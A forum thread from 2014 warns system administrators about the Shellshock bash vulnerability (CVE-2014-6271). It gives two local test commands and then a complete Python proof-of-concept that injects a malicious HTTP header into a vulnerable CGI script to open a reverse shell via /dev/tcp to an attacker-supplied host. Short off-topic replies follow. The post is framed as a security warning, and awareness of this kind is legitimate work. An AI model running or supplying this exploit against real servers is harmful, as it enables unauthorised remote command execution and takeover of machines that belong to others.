[LINUX] New 'shellshock' bash remote execution vulnerability

For those of you, like me, who work in Linux systems and who are users or admins of those machines... this will be of interest:

bash remote execution vulnerability

MORE at the link.

Code:

env X="() { :;} ; echo busted" /bin/sh -c "echo completed"
env X="() { :;} ; echo busted" `which bash` -c "echo completed"

Here's a reverse shell from:
<blockquote class="twitter-tweet" lang="en"><p>That bash bug is bad ( <a href="https://t.co/60kPlziiVv">https://t.co/60kPlziiVv</a> ) Get a reverse shell on a vulnerable website <a href="http://t.co/7JDCvZVU3S">http://t.co/7JDCvZVU3S</a> by <a href="https://twitter.com/ortegaalfredo">@ortegaalfredo</a></p>&mdash; Chris Williams (@diodesign) <a href="https://twitter.com/diodesign/status/514865664499015680">September 24, 2014</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>

Code:

#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
	print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
	print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
	exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
	"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

Hope your systems are all OK, sys admins.

 

Ummm... this has always been there.

This bug isn't a virus. Technically, still safe from viruses.

 

I'm not a fanboy. I use all. I manage all types of Web servers. I'm just not the main server admin.

Be versatile in your skills, man.

 

*Good for you, man. GOOD FOR YOU.

*I mean that you don't have to deal with all this iSht.